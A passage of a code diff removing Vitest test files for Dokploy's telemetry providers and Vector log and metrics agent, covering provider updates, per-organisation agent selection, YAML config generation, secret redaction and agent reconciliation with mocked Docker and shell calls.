mocks.insertValues.mockReturnValue([{ telemetryProviderId: "dd-1" }]);
await createTelemetryProvider(
{
name: "dd",
providerType: "datadog",
signals: ["metrics", "logs"],
apiKey: "dd-key",
} as any,
"org-1",
);
expect(mocks.insertValues).toHaveBeenCalledWith(
expect.objectContaining({ signals: ["logs", "metrics"] }),
);
});
it("normalizes the order on update", async () => {
mocks.findFirst.mockResolvedValue({
telemetryProviderId: "dd-1",
name: "dd",
providerType: "datadog",
signals: ["logs"],
endpoint: null,
apiKey: "dd-key",
apiSecret: null,
extraConfig: null,
});
mocks.updateSet.mockReturnValue([{ telemetryProviderId: "dd-1" }]);
await updateTelemetryProvider("dd-1", { signals: ["metrics", "logs"] });
expect(mocks.updateSet).toHaveBeenCalledWith(
expect.objectContaining({ signals: ["logs", "metrics"] }),
);
});
});
describe("testTelemetryProviderConnection by id", () => {
it("tests the saved provider with the signals override from the form", async () => {
mocks.findFirst.mockResolvedValue({
telemetryProviderId: "bs-1",
name: "bs",
providerType: "betterstack",
signals: ["logs"],
endpoint: "in.logs.betterstack.com",
apiKey: "token",
apiSecret: null,
extraConfig: null,
});
const spy = vi
.spyOn(telemetryProviderAdapters.betterstack, "testConnection")
.mockResolvedValue(undefined);
await testTelemetryProviderConnection({
telemetryProviderId: "bs-1",
signals: ["logs", "metrics"],
});
expect(spy).toHaveBeenCalledWith(
expect.objectContaining({
apiKey: "token",
signals: ["logs", "metrics"],
}),
);
spy.mockRestore();
});
});
describe("updateTelemetryProvider — signals", () => {
const existing = {
telemetryProviderId: "dd-1",
name: "datadog",
providerType: "datadog",
signals: ["logs", "metrics"],
endpoint: null,
apiKey: "dd-key",
apiSecret: null,
extraConfig: null,
};
beforeEach(() => {
mocks.updateSet.mockReset();
mocks.serverFindFirst.mockReset();
mocks.webServerFindFirst.mockReset();
mocks.findFirst.mockResolvedValue(existing);
mocks.updateSet.mockReturnValue([{ ...existing, signals: ["metrics"] }]);
});
it("allows removing a signal while the provider is assigned and returns its targets to re-apply", async () => {
mocks.serverFindMany.mockResolvedValue([{ serverId: "server-1" }]);
mocks.webServerFindFirst.mockResolvedValue({ id: "ws-1" });
await expect(
updateTelemetryProvider("dd-1", { signals: ["metrics"] }),
).resolves.toMatchObject({
provider: { signals: ["metrics"] },
targets: ["server-1", null],
});
expect(mocks.updateSet).toHaveBeenCalledWith(
expect.objectContaining({ signals: ["metrics"] }),
);
});
it("rejects a type change that cannot send the saved signals", async () => {
await expect(
updateTelemetryProvider("dd-1", {
providerType: "loki",
endpoint: "https://loki.example.com",
}),
).rejects.toThrow(/Grafana Loki cannot send metrics/);
});
});
@@ -1,305 +0,0 @@
import { beforeEach, describe, expect, it, vi } from "vitest";
const mocks = vi.hoisted(() => ({
setWebServerProviderIds: vi.fn(),
setServerProviderIds: vi.fn(),
getAccessibleServerIds: vi.fn(),
reconcileVectorAgent: vi.fn(),
removeVectorAgent: vi.fn(),
findServerById: vi.fn(),
assertProvidersBelongToOrg: vi.fn(),
}));
const loadAgent = async (isCloud: boolean) => {
vi.resetModules();
vi.doMock("@dokploy/server/constants", () => ({ IS_CLOUD: isCloud }));
vi.doMock("@dokploy/server/services/server", () => ({
findServerById: mocks.findServerById,
setServerProviderIds: mocks.setServerProviderIds,
getAccessibleServerIds: mocks.getAccessibleServerIds,
}));
vi.doMock("@dokploy/server/services/web-server-settings", () => ({
setWebServerProviderIds: mocks.setWebServerProviderIds,
}));
const locks = new Map<string, Promise<unknown>>();
vi.doMock("@dokploy/server/setup/vector-setup", () => ({
LOCAL_SERVER_NAME: "Dokploy Server (local)",
reconcileVectorAgent: mocks.reconcileVectorAgent,
removeVectorAgent: mocks.removeVectorAgent,
withVectorTargetLock: (
serverId: string | undefined,
fn: () => Promise<unknown>,
) => {
const key = serverId ?? "local";
const current = (locks.get(key) ?? Promise.resolve())
.catch(() => {})
.then(fn);
locks.set(key, current);
return current;
},
}));
vi.doMock("@dokploy/server/services/logs-and-metrics/service", () => ({
assertProvidersBelongToOrg: mocks.assertProvidersBelongToOrg,
}));
return await import("@dokploy/server/services/logs-and-metrics/vector-agent");
};
const sessionA = { userId: "user-a", activeOrganizationId: "org-a" };
const sessionB = { userId: "user-b", activeOrganizationId: "org-b" };
beforeEach(() => {
for (const mock of Object.values(mocks)) mock.mockReset();
mocks.getAccessibleServerIds.mockResolvedValue(new Set(["server-1"]));
mocks.findServerById.mockImplementation(async (serverId: string) => ({
serverId,
name: `name-of-${serverId}`,
organizationId: "org-a",
sshKeyId: "key-1",
}));
mocks.setWebServerProviderIds.mockResolvedValue({ id: "ws-1" });
mocks.setServerProviderIds.mockResolvedValue({ serverId: "server-1" });
});
describe("applyVectorAgentSelection on the local host", () => {
it("rejects the local host in cloud without touching the database", async () => {
const { applyVectorAgentSelection } = await loadAgent(true);
await expect(
applyVectorAgentSelection(sessionA, undefined, ["lp-1"]),
).rejects.toMatchObject({ code: "BAD_REQUEST" });
expect(mocks.setWebServerProviderIds).not.toHaveBeenCalled();
expect(mocks.reconcileVectorAgent).not.toHaveBeenCalled();
});
it("rejects with CONFLICT when another organization owns the local agent, without reconciling", async () => {
mocks.setWebServerProviderIds.mockResolvedValue(null);
const { applyVectorAgentSelection } = await loadAgent(false);
await expect(
applyVectorAgentSelection(sessionB, undefined, ["mp-1"]),
).rejects.toMatchObject({ code: "CONFLICT" });
expect(mocks.setWebServerProviderIds).toHaveBeenCalledWith("org-b", [
"mp-1",
]);
expect(mocks.reconcileVectorAgent).not.toHaveBeenCalled();
});
it("saves the selection and then reconciles", async () => {
const { applyVectorAgentSelection } = await loadAgent(false);
await applyVectorAgentSelection(sessionA, undefined, ["lp-1"]);
expect(mocks.assertProvidersBelongToOrg).toHaveBeenCalledWith(
["lp-1"],
"org-a",
);
expect(mocks.setWebServerProviderIds).toHaveBeenCalledWith("org-a", [
"lp-1",
]);
expect(mocks.reconcileVectorAgent).toHaveBeenCalledWith(undefined);
expect(
mocks.setWebServerProviderIds.mock.invocationCallOrder[0],
).toBeLessThan(mocks.reconcileVectorAgent.mock.invocationCallOrder[0] ?? 0);
});
it("removing the agent saves an empty selection without checking providers", async () => {
const { applyVectorAgentSelection } = await loadAgent(false);
await applyVectorAgentSelection(sessionA, undefined, []);
expect(mocks.assertProvidersBelongToOrg).not.toHaveBeenCalled();
expect(mocks.setWebServerProviderIds).toHaveBeenCalledWith("org-a", []);
expect(mocks.reconcileVectorAgent).toHaveBeenCalledWith(undefined);
});
});
describe("applyVectorAgentSelection on a remote server", () => {
it("still manages remote servers in cloud", async () => {
const { applyVectorAgentSelection } = await loadAgent(true);
const result = await applyVectorAgentSelection(sessionA, "server-1", []);
expect(result).toEqual({ serverName: "name-of-server-1" });
expect(mocks.setServerProviderIds).toHaveBeenCalledWith("server-1", []);
expect(mocks.reconcileVectorAgent).toHaveBeenCalledWith("server-1");
});
it("rejects a server of another organization", async () => {
mocks.findServerById.mockResolvedValue({
serverId: "server-1",
organizationId: "org-b",
sshKeyId: "key-1",
});
const { applyVectorAgentSelection } = await loadAgent(false);
await expect(
applyVectorAgentSelection(sessionA, "server-1", ["lp-1"]),
).rejects.toMatchObject({ code: "UNAUTHORIZED" });
expect(mocks.setServerProviderIds).not.toHaveBeenCalled();
});
it("rejects a server without an SSH key before saving anything", async () => {
mocks.findServerById.mockResolvedValue({
serverId: "server-1",
organizationId: "org-a",
sshKeyId: null,
});
const { applyVectorAgentSelection } = await loadAgent(false);
await expect(
applyVectorAgentSelection(sessionA, "server-1", ["lp-1"]),
).rejects.toMatchObject({ code: "BAD_REQUEST" });
expect(mocks.setServerProviderIds).not.toHaveBeenCalled();
expect(mocks.reconcileVectorAgent).not.toHaveBeenCalled();
});
it("rejects a server the member cannot access", async () => {
const { applyVectorAgentSelection } = await loadAgent(false);
await expect(
applyVectorAgentSelection(sessionA, "server-2", ["lp-1"]),
).rejects.toMatchObject({ code: "UNAUTHORIZED" });
expect(mocks.getAccessibleServerIds).toHaveBeenCalledWith(sessionA);
expect(mocks.setServerProviderIds).not.toHaveBeenCalled();
expect(mocks.reconcileVectorAgent).not.toHaveBeenCalled();
});
it("saves the array and only then reconciles", async () => {
const { applyVectorAgentSelection } = await loadAgent(false);
await applyVectorAgentSelection(sessionA, "server-1", ["mp-1"]);
expect(mocks.setServerProviderIds).toHaveBeenCalledWith("server-1", [
"mp-1",
]);
expect(mocks.setServerProviderIds.mock.invocationCallOrder[0]).toBeLessThan(
mocks.reconcileVectorAgent.mock.invocationCallOrder[0] ?? 0,
);
});
it("keeps the saved selection when the reconcile fails", async () => {
mocks.reconcileVectorAgent.mockRejectedValue(
new Error("validation failed"),
);
const { applyVectorAgentSelection } = await loadAgent(false);
await expect(
applyVectorAgentSelection(sessionA, "server-1", ["lp-2"]),
).rejects.toThrow("validation failed");
expect(mocks.setServerProviderIds).toHaveBeenCalledWith("server-1", [
"lp-2",
]);
});
it("serializes concurrent selections on the same host so the last reconcile sees the last selection", async () => {
const saved: string[][] = [];
const seen: string[][] = [];
mocks.setServerProviderIds.mockImplementation(
async (_serverId: string, ids: string[]) => {
saved.push(ids);
return { serverId: "server-1" };
},
);
mocks.reconcileVectorAgent.mockImplementation(async () => {
seen.push(saved.at(-1) ?? []);
await new Promise((resolve) => setTimeout(resolve, 20));
});
const { applyVectorAgentSelection } = await loadAgent(false);
await Promise.all([
applyVectorAgentSelection(sessionA, "server-1", ["lp-1"]),
applyVectorAgentSelection(sessionA, "server-1", ["lp-2"]),
]);
expect(seen).toEqual([["lp-1"], ["lp-2"]]);
});
});
describe("removeServerVectorAgent", () => {
it("removes the agent on server deletion when providers are assigned", async () => {
const { removeServerVectorAgent } = await loadAgent(false);
await expect(
removeServerVectorAgent({
serverId: "server-1",
sshKeyId: "key-1",
telemetryProviderIds: ["lp-1"],
} as never),
).resolves.toBeUndefined();
expect(mocks.removeVectorAgent).toHaveBeenCalledWith("server-1");
});
it("attempts cleanup even with an empty selection, since a failed Remove can leave the agent running", async () => {
const { removeServerVectorAgent } = await loadAgent(false);
await expect(
removeServerVectorAgent({
serverId: "server-1",
sshKeyId: "key-1",
telemetryProviderIds: [],
} as never),
).resolves.toBeUndefined();
expect(mocks.removeVectorAgent).toHaveBeenCalledWith("server-1");
});
it("skips servers without an SSH key, warning when providers were assigned", async () => {
const { removeServerVectorAgent } = await loadAgent(false);
await expect(
removeServerVectorAgent({
serverId: "server-1",
sshKeyId: null,
telemetryProviderIds: [],
} as never),
).resolves.toBeUndefined();
await expect(
removeServerVectorAgent({
serverId: "server-1",
sshKeyId: null,
telemetryProviderIds: ["lp-1"],
} as never),
).resolves.toMatch(/no SSH key/);
expect(mocks.removeVectorAgent).not.toHaveBeenCalled();
});
it("returns the failure as a message instead of throwing", async () => {
mocks.removeVectorAgent.mockRejectedValue(new Error("docker down"));
const { removeServerVectorAgent } = await loadAgent(false);
await expect(
removeServerVectorAgent({
serverId: "server-1",
sshKeyId: "k",
telemetryProviderIds: ["lp-1"],
} as never),
).resolves.toBe("docker down");
});
});
describe("reconcileVectorTargets", () => {
it("re-applies every target under its lock and reports failures as a warning", async () => {
mocks.reconcileVectorAgent.mockImplementation(async (serverId?: string) => {
if (serverId === "server-2") throw new Error("ssh down");
});
const { reconcileVectorTargets } = await loadAgent(false);
const warning = await reconcileVectorTargets([
"server-1",
"server-2",
null,
]);
expect(mocks.reconcileVectorAgent.mock.calls.map((c) => c[0])).toEqual([
"server-1",
"server-2",
undefined,
]);
expect(warning).toBe(
"The Vector agent could not be re-applied on server-2: ssh down",
);
});
it("returns no warning when every target reconciles, and skips the local host in cloud", async () => {
const { reconcileVectorTargets } = await loadAgent(true);
await expect(
reconcileVectorTargets(["server-1", null]),
).resolves.toBeUndefined();
expect(mocks.reconcileVectorAgent).toHaveBeenCalledTimes(1);
expect(mocks.reconcileVectorAgent).toHaveBeenCalledWith("server-1");
});
});
@@ -1,375 +0,0 @@
import { vrlString } from "@dokploy/server/services/logs-and-metrics/types";
import {
buildMetricsScopeTransformSource,
buildVectorConfigYaml,
collectSecretValues,
redactSecrets,
} from "@dokploy/server/setup/vector-setup";
import { describe, expect, it } from "vitest";
import { parse } from "yaml";
const provider = (overrides: Record<string, unknown>) =>
({
apiKey: null,
apiSecret: null,
endpoint: null,
extraConfig: null,
signals: ["logs"],
...overrides,
}) as any;
const loki = provider({
telemetryProviderId: "loki-1",
name: "loki",
providerType: "loki",
endpoint: "https://loki.example.com",
});
const prom = provider({
telemetryProviderId: "prom-1",
name: "prom",
providerType: "prometheus_remote_write",
signals: ["metrics"],
endpoint: "http://prom.example.com:9090/api/v1/write",
});
const datadog = provider({
telemetryProviderId: "dd-1",
name: "datadog",
providerType: "datadog",
signals: ["logs", "metrics"],
apiKey: "dd-key",
});
const build = (
overrides: Partial<Parameters<typeof buildVectorConfigYaml>[0]>,
) =>
parse(
buildVectorConfigYaml({
logProviders: [],
metricsProviders: [],
serverName: "my server",
...overrides,
}),
) as any;
describe("buildVectorConfigYaml — logs", () => {
it("generates a source, a dokploy_scope transform and one sink per provider, and nothing for metrics", () => {
const config = build({ logProviders: [loki] });
expect(config.data_dir).toBe("/var/lib/vector");
expect(config.sources.docker_logs_source.type).toBe("docker_logs");
expect(config.transforms.dokploy_scope.type).toBe("remap");
expect(config.transforms.dokploy_scope.inputs).toEqual([
"docker_logs_source",
]);
expect(Object.keys(config.sinks)).toEqual(["sink_loki-1"]);
expect(config.sinks["sink_loki-1"].type).toBe("loki");
expect(config.sinks["sink_loki-1"].inputs).toEqual(["dokploy_scope"]);
expect(config.sources.host_metrics_source).toBeUndefined();
expect(config.sources.cadvisor_source).toBeUndefined();
expect(config.transforms.dokploy_metrics_scope).toBeUndefined();
});
it("chains scope -> transform -> sink for betterstack/datadog, and scope -> sink direct for loki", () => {
const config = build({
logProviders: [
loki,
provider({
telemetryProviderId: "bs-1",
name: "betterstack",
providerType: "betterstack",
endpoint: "https://in.logs.betterstack.com",
apiKey: "token",
}),
datadog,
],
});
expect(config.sinks["sink_loki-1"].inputs).toEqual(["dokploy_scope"]);
expect(config.transforms["transform_bs-1"].inputs).toEqual([
"dokploy_scope",
]);
expect(config.sinks["sink_bs-1"].inputs).toEqual(["transform_bs-1"]);
expect(config.transforms["transform_dd-1"].inputs).toEqual([
"dokploy_scope",
]);
expect(config.sinks["sink_dd-1"].inputs).toEqual(["transform_dd-1"]);
});
it("tags every log with the server name and reads the Dokploy metadata straight off the container labels, with empty defaults for containers Dokploy did not deploy", () => {
const config = build({ logProviders: [loki], serverName: 'srv "quoted"' });
expect(config.transforms.dokploy_scope.source).toBe(
[
'.dokploy_server = "srv \\"quoted\\""',
'.dokploy_organization = .label."dokploy.organization.id" || ""',
'.dokploy_project = .label."dokploy.project" || ""',
'.dokploy_project_id = .label."dokploy.project.id" || ""',
'.dokploy_environment = .label."dokploy.environment" || ""',
'.dokploy_environment_id = .label."dokploy.environment.id" || ""',
'.dokploy_application = .label."dokploy.application" || ""',
'.dokploy_application_id = .label."dokploy.application.id" || ""',
'.dokploy_service = .label."dokploy.service" || ""',
].join("\n"),
);
});
it("skips a provider whose config an adapter rejects at build time, instead of failing the whole org's config", () => {
const config = build({
logProviders: [
provider({
telemetryProviderId: "broken-es",
name: "es-broken",
providerType: "elasticsearch",
endpoint: "https://es.example.com:9200",
extraConfig: { username: "elastic" },
}),
loki,
],
});
expect(Object.keys(config.sinks)).toEqual(["sink_loki-1"]);
});
it("only keeps containers of the owning organization on the local host, which is shared by every organization", () => {
const config = build({ logProviders: [loki], organizationId: "org-a" });
expect(config.transforms.dokploy_scope_local_only).toEqual({
type: "filter",
inputs: ["dokploy_scope"],
condition: '.dokploy_organization == "org-a"',
});
expect(config.sinks["sink_loki-1"].inputs).toEqual([
"dokploy_scope_local_only",
]);
});
it("does not add the organization filter for the per-server (non-local) path", () => {
const config = build({ logProviders: [loki] });
expect(config.transforms.dokploy_scope_local_only).toBeUndefined();
});
});
describe("buildVectorConfigYaml — metrics", () => {
it("with only metrics providers it emits the host and cAdvisor sources and no logs pipeline", () => {
const config = build({ metricsProviders: [prom] });
expect(config.sources.docker_logs_source).toBeUndefined();
expect(config.transforms.dokploy_scope).toBeUndefined();
expect(config.sources.host_metrics_source).toMatchObject({
type: "host_metrics",
scrape_interval_secs: 30,
collectors: [
"cpu",
"memory",
"disk",
"filesystem",
"network",
"load",
"host",
],
});
expect(
config.sources.host_metrics_source.filesystem.filesystems.excludes,
).toEqual(
expect.arrayContaining([
"overlay",
"tmpfs",
"squashfs",
"devtmpfs",
"nsfs",
"proc",
"sysfs",
"devpts",
"cgroup2",
]),
);
expect(config.sources.host_metrics_source.network.devices.excludes).toEqual(
["veth*", "br-*", "docker*"],
);
expect(config.sources.cadvisor_source).toEqual({
type: "prometheus_scrape",
endpoints: ["http://127.0.0.1:4510/metrics"],
scrape_interval_secs: 30,
scrape_timeout_secs: 10,
});
expect(config.transforms.dokploy_metrics_scope).toMatchObject({
type: "remap",
inputs: ["host_metrics_source", "cadvisor_source"],
drop_on_abort: true,
});
expect(Object.keys(config.sinks)).toEqual(["sink_prom-1_metrics"]);
expect(config.sinks["sink_prom-1_metrics"]).toMatchObject({
type: "prometheus_remote_write",
inputs: ["dokploy_metrics_scope"],
});
expect(config.transforms.dokploy_metrics_scope_local_only).toBeUndefined();
});
it("on the local host it lets host series through and keeps only the owning organization's containers", () => {
const config = build({ metricsProviders: [prom], organizationId: "org-a" });
expect(config.transforms.dokploy_metrics_scope_local_only).toEqual({
type: "filter",
inputs: ["dokploy_metrics_scope"],
condition:
'.namespace == "host" || .tags.dokploy_organization == "org-a"',
});
expect(config.sinks["sink_prom-1_metrics"].inputs).toEqual([
"dokploy_metrics_scope_local_only",
]);
});
it("a provider assigned to both signals gets a logs sink and a metrics sink without clashing", () => {
const config = build({
logProviders: [datadog],
metricsProviders: [datadog],
organizationId: "org-a",
});
expect(config.sinks["sink_dd-1"]).toMatchObject({
type: "datadog_logs",
inputs: ["transform_dd-1"],
});
expect(config.sinks["sink_dd-1_metrics"]).toMatchObject({
type: "datadog_metrics",
inputs: ["dokploy_metrics_scope_local_only"],
});
expect(config.transforms["transform_dd-1_metrics"]).toBeUndefined();
});
it("tags every series with the server name, promotes non-empty dokploy labels and drops the cgroup id", () => {
const source = buildMetricsScopeTransformSource('srv "quoted"');
expect(source).toContain('.tags.dokploy_server = "srv \\"quoted\\""');
expect(source).toContain(
'if .namespace != "host" && !starts_with(string!(.name), "container_") { abort }',
);
expect(source).toContain(
'value = del(.tags.container_label_dokploy_application)\nif is_string(value) && value != "" { .tags.dokploy_application = value }',
);
expect(source.trim().endsWith("del(.tags.id)")).toBe(true);
expect(
build({ metricsProviders: [prom] }).transforms.dokploy_metrics_scope
.source,
).toBe(buildMetricsScopeTransformSource("my server"));
});
});
describe("buildVectorConfigYaml — dollar signs", () => {
it("keeps every $ literal because the agent runs without env var interpolation", () => {
const yamlStr = buildVectorConfigYaml({
logProviders: [
provider({
telemetryProviderId: "loki-1",
name: "loki",
providerType: "loki",
endpoint: "https://loki.example.com",
apiKey: "Pa$5w0rd$HOME",
extraConfig: { username: "12345" },
}),
],
metricsProviders: [prom],
serverName: "srv $ONE",
});
expect(yamlStr).not.toContain("$$");
expect(yamlStr).toContain("srv $ONE");
expect(parse(yamlStr).sinks["sink_loki-1"].auth.password).toBe(
"Pa$5w0rd$HOME",
);
});
});
describe("collectSecretValues / redactSecrets", () => {
it("collects endpoint/apiKey/apiSecret across all providers but only the password-type extraConfig fields", () => {
const providers = [
{
providerType: "loki",
endpoint: "https://loki.example.com",
apiKey: "loki-key",
apiSecret: null,
extraConfig: { tenantId: "tenant-a", username: "12345" },
},
{
providerType: "datadog",
endpoint: null,
apiKey: "dd-key",
apiSecret: null,
extraConfig: { site: "datadoghq.eu" },
},
{
providerType: "aws_cloudwatch",
endpoint: null,
apiKey: "AKIA",
apiSecret: "shh",
extraConfig: { region: "us-east-1", metricsNamespace: "Dokploy" },
},
] as any;
const values = collectSecretValues(providers);
expect(values).toEqual(
expect.arrayContaining([
"https://loki.example.com",
"loki-key",
"dd-key",
"AKIA",
"shh",
]),
);
for (const plain of [
"tenant-a",
"12345",
"datadoghq.eu",
"us-east-1",
"Dokploy",
]) {
expect(values).not.toContain(plain);
}
});
it("ignores null/empty credentials", () => {
const providers = [
{
providerType: "elasticsearch",
endpoint: null,
apiKey: null,
apiSecret: null,
extraConfig: { limit: 10, enabled: true, empty: "" },
},
] as any;
expect(collectSecretValues(providers)).toEqual([]);
});
it("redacts every collected secret, longest first so a short one can't eat part of a longer one", () => {
const providers = [
{
providerType: "loki",
endpoint: null,
apiKey: "hunter2-long-suffix",
apiSecret: "hunter2",
extraConfig: null,
},
] as any;
const text =
"sink validation error near apiKey=hunter2-long-suffix and hunter2";
const redacted = redactSecrets(text, collectSecretValues(providers));
expect(redacted).not.toContain("hunter2");
expect(redacted).toBe(
"sink validation error near apiKey=[redacted] and [redacted]",
);
});
});
describe("vrlString", () => {
it("quotes and escapes like JSON but drops the control characters VRL rejects", () => {
expect(vrlString('my "server"')).toBe('"my \\"server\\""');
expect(vrlString("back\\slash")).toBe('"back\\\\slash"');
expect(vrlString("a\u0008b\u000cc\u0000d\u007fe\nf")).toBe('"abcdef"');
});
});
@@ -1,526 +0,0 @@
import { beforeEach, describe, expect, it, vi } from "vitest";
import { parse } from "yaml";
const mocks = vi.hoisted(() => ({
findServerById: vi.fn(),
getWebServerSettings: vi.fn(),
findEnabledTelemetryProvidersByOrganization: vi.fn(),
execAsync: vi.fn(),
execAsyncRemote: vi.fn(),
inspectService: vi.fn(),
updateService: vi.fn(),
removeService: vi.fn(),
createService: vi.fn(),
getService: vi.fn(),
listContainers: vi.fn(),
killContainer: vi.fn(),
}));
vi.mock("@dokploy/server/db", () => ({ db: {} }));
vi.mock("@dokploy/server/constants", () => ({
IS_CLOUD: false,
paths: (isServer: boolean) => ({
VECTOR_PATH: isServer ? "/etc/dokploy/vector" : "/local/dokploy/vector",
}),
}));
vi.mock("@dokploy/server/services/server", () => ({
findServerById: mocks.findServerById,
findServersByOrganizationForVectorAgent: vi.fn(),
getAccessibleServerIds: vi.fn(),
}));
vi.mock("@dokploy/server/services/web-server-settings", () => ({
getWebServerSettings: mocks.getWebServerSettings,
}));
vi.mock(
"@dokploy/server/services/logs-and-metrics/service",
async (importOriginal) => ({
...(await importOriginal<
typeof import("@dokploy/server/services/logs-and-metrics/service")
>()),
findEnabledTelemetryProvidersByOrganization:
mocks.findEnabledTelemetryProvidersByOrganization,
}),
);
vi.mock("@dokploy/server/utils/process/execAsync", () => ({
execAsync: mocks.execAsync,
execAsyncRemote: mocks.execAsyncRemote,
}));
vi.mock("@dokploy/server/utils/servers/remote-docker", () => ({
getRemoteDocker: async () => ({
getService: mocks.getService,
createService: mocks.createService,
listContainers: mocks.listContainers,
getContainer: () => ({ kill: mocks.killContainer }),
}),
}));
const { reconcileVectorAgent, removeVectorAgent } = await import(
"@dokploy/server/setup/vector-setup"
);
const lokiProvider = {
telemetryProviderId: "lp-1",
name: "loki",
providerType: "loki",
signals: ["logs"],
endpoint: "https://loki.example.com",
apiKey: "sekret-token",
apiSecret: null,
extraConfig: null,
enabled: true,
organizationId: "org-a",
};
const promProvider = {
...lokiProvider,
telemetryProviderId: "mp-1",
name: "prom",
providerType: "prometheus_remote_write",
signals: ["metrics"],
endpoint: "http://prom.example.com:9090/api/v1/write",
apiKey: null,
};
const notFound = () =>
Object.assign(new Error("not found"), { statusCode: 404 });
const writtenYaml = (command: string) => {
const match = command.match(/echo "([^"]+)" \| base64 -d/);
return parse(Buffer.from(match?.[1] ?? "", "base64").toString("utf8"));
};
const commandsOf = (mock: typeof mocks.execAsync) =>
mock.mock.calls.map((call) => String(call[call.length - 1]));
beforeEach(() => {
for (const mock of Object.values(mocks)) mock.mockReset();
mocks.getService.mockImplementation(() => ({
inspect: mocks.inspectService,
update: mocks.updateService,
remove: mocks.removeService,
}));
mocks.inspectService.mockRejectedValue(notFound());
mocks.removeService.mockRejectedValue(notFound());
mocks.execAsync.mockResolvedValue({ stdout: "", stderr: "" });
mocks.execAsyncRemote.mockResolvedValue({ stdout: "", stderr: "" });
mocks.listContainers.mockResolvedValue([{ Id: "vector-container" }]);
mocks.killContainer.mockResolvedValue(undefined);
});
describe("reconcileVectorAgent", () => {
it("writes, validates and applies the YAML and deploys Vector for the saved selection", async () => {
mocks.getWebServerSettings.mockResolvedValue({
vectorAgentOrganizationId: "org-a",
telemetryProviderIds: ["lp-1"],
});
mocks.findEnabledTelemetryProvidersByOrganization.mockResolvedValue([
lokiProvider,
]);
await reconcileVectorAgent();
const commands = commandsOf(mocks.execAsync);
expect(commands).toHaveLength(3);
expect(commands[0]).toContain(
"/local/dokploy/vector/vector.yaml.candidate.",
);
expect(commands[1]).toMatch(
/timberio\/vector:\d+\.\d+\.\d+-alpine validate --skip-healthchecks/,
);
expect(commands[2]).toMatch(
/^mv \/local\/dokploy\/vector\/vector\.yaml\.candidate\.\S+ \/local\/dokploy\/vector\/vector\.yaml$/,
);
expect(mocks.execAsyncRemote).not.toHaveBeenCalled();
const config = writtenYaml(commands[0] ?? "");
expect(config.sinks["sink_lp-1"].inputs).toEqual([
"dokploy_scope_local_only",
]);
expect(config.sources.host_metrics_source).toBeUndefined();
expect(mocks.createService).toHaveBeenCalledTimes(1);
expect(mocks.createService.mock.calls[0]?.[0]).toMatchObject({
Name: "dokploy-vector",
});
expect(mocks.getService).toHaveBeenCalledWith("dokploy-cadvisor");
expect(mocks.removeService).toHaveBeenCalledTimes(1);
});
it("splits one selection into the logs and metrics pipelines by what each provider sends", async () => {
const datadogProvider = {
...lokiProvider,
telemetryProviderId: "dd-1",
name: "datadog",
providerType: "datadog",
signals: ["logs", "metrics"],
endpoint: null,
apiKey: "dd-key",
};
const unselected = { ...lokiProvider, telemetryProviderId: "lp-9" };
mocks.getWebServerSettings.mockResolvedValue({
vectorAgentOrganizationId: "org-a",
telemetryProviderIds: ["lp-1", "mp-1", "dd-1"],
});
mocks.findEnabledTelemetryProvidersByOrganization.mockResolvedValue([
lokiProvider,
promProvider,
datadogProvider,
unselected,
]);
await reconcileVectorAgent();
const config = writtenYaml(commandsOf(mocks.execAsync)[0] ?? "");
const sinkIds = Object.keys(config.sinks);
expect(sinkIds.some((id) => id.includes("lp-1"))).toBe(true);
expect(sinkIds.some((id) => id.includes("mp-1"))).toBe(true);
expect(sinkIds.filter((id) => id.includes("dd-1")).length).toBe(2);
expect(sinkIds.some((id) => id.includes("lp-9"))).toBe(false);
expect(config.sources.docker_logs_source).toBeDefined();
expect(config.sources.cadvisor_source).toBeDefined();
expect(mocks.createService.mock.calls.map((c) => c[0].Name)).toEqual([
"dokploy-vector",
"dokploy-cadvisor",
]);
});
it("removes cAdvisor but keeps Vector when no selected provider sends metrics", async () => {
mocks.getWebServerSettings.mockResolvedValue({
vectorAgentOrganizationId: "org-a",
telemetryProviderIds: ["lp-1", "mp-1"],
});
mocks.findEnabledTelemetryProvidersByOrganization.mockResolvedValue([
lokiProvider,
]);
await reconcileVectorAgent();
const config = writtenYaml(commandsOf(mocks.execAsync)[0] ?? "");
expect(config.sources.cadvisor_source).toBeUndefined();
expect(mocks.createService.mock.calls.map((c) => c[0].Name)).toEqual([
"dokploy-vector",
]);
expect(mocks.getService).toHaveBeenCalledWith("dokploy-cadvisor");
expect(mocks.removeService).toHaveBeenCalledTimes(1);
});
it("filters by the organization only on the local host and runs on the server over SSH", async () => {
mocks.findServerById.mockResolvedValue({
serverId: "server-1",
organizationId: "org-a",
name: "edge-1",
telemetryProviderIds: ["lp-1"],
});
mocks.findEnabledTelemetryProvidersByOrganization.mockResolvedValue([
lokiProvider,
]);
await reconcileVectorAgent("server-1");
expect(mocks.execAsync).not.toHaveBeenCalled();
expect(
mocks.execAsyncRemote.mock.calls.every((c) => c[0] === "server-1"),
).toBe(true);
const config = writtenYaml(commandsOf(mocks.execAsyncRemote)[0] ?? "");
expect(config.transforms.dokploy_scope_local_only).toBeUndefined();
expect(config.sinks["sink_lp-1"].inputs).toEqual(["dokploy_scope"]);
});
it("does not apply a config that vector validate rejects, redacts secrets and leaves the selection alone", async () => {
mocks.getWebServerSettings.mockResolvedValue({
vectorAgentOrganizationId: "org-a",
telemetryProviderIds: ["lp-1"],
});
mocks.findEnabledTelemetryProvidersByOrganization.mockResolvedValue([
lokiProvider,
]);
mocks.execAsync.mockImplementation(async (command: string) => {
if (command.includes("validate")) {
throw new Error("bad sink: password sekret-token rejected");
}
return { stdout: "", stderr: "" };
});
await expect(reconcileVectorAgent()).rejects.toThrow(
/failed validation, not applying it: bad sink: password \[redacted\] rejected/,
);
const commands = commandsOf(mocks.execAsync);
expect(commands.some((c) => c.startsWith("mv "))).toBe(false);
expect(commands.some((c) => c.startsWith("rm -f "))).toBe(true);
expect(mocks.createService).not.toHaveBeenCalled();
});
it("removes the agent when no enabled provider is left in the selection", async () => {
mocks.getWebServerSettings.mockResolvedValue({
vectorAgentOrganizationId: "org-a",
telemetryProviderIds: ["deleted-or-disabled"],
});
mocks.findEnabledTelemetryProvidersByOrganization.mockResolvedValue([]);
await reconcileVectorAgent();
expect(mocks.getService).toHaveBeenCalledWith("dokploy-cadvisor");
expect(mocks.getService).toHaveBeenCalledWith("dokploy-vector");
expect(mocks.removeService).toHaveBeenCalledTimes(2);
expect(commandsOf(mocks.execAsync)).toEqual([
"rm -rf /local/dokploy/vector",
]);
expect(mocks.createService).not.toHaveBeenCalled();
});
it("removes the agent when the selection is empty, without an owner", async () => {
mocks.getWebServerSettings.mockResolvedValue({
vectorAgentOrganizationId: null,
telemetryProviderIds: [],
});
await reconcileVectorAgent();
expect(
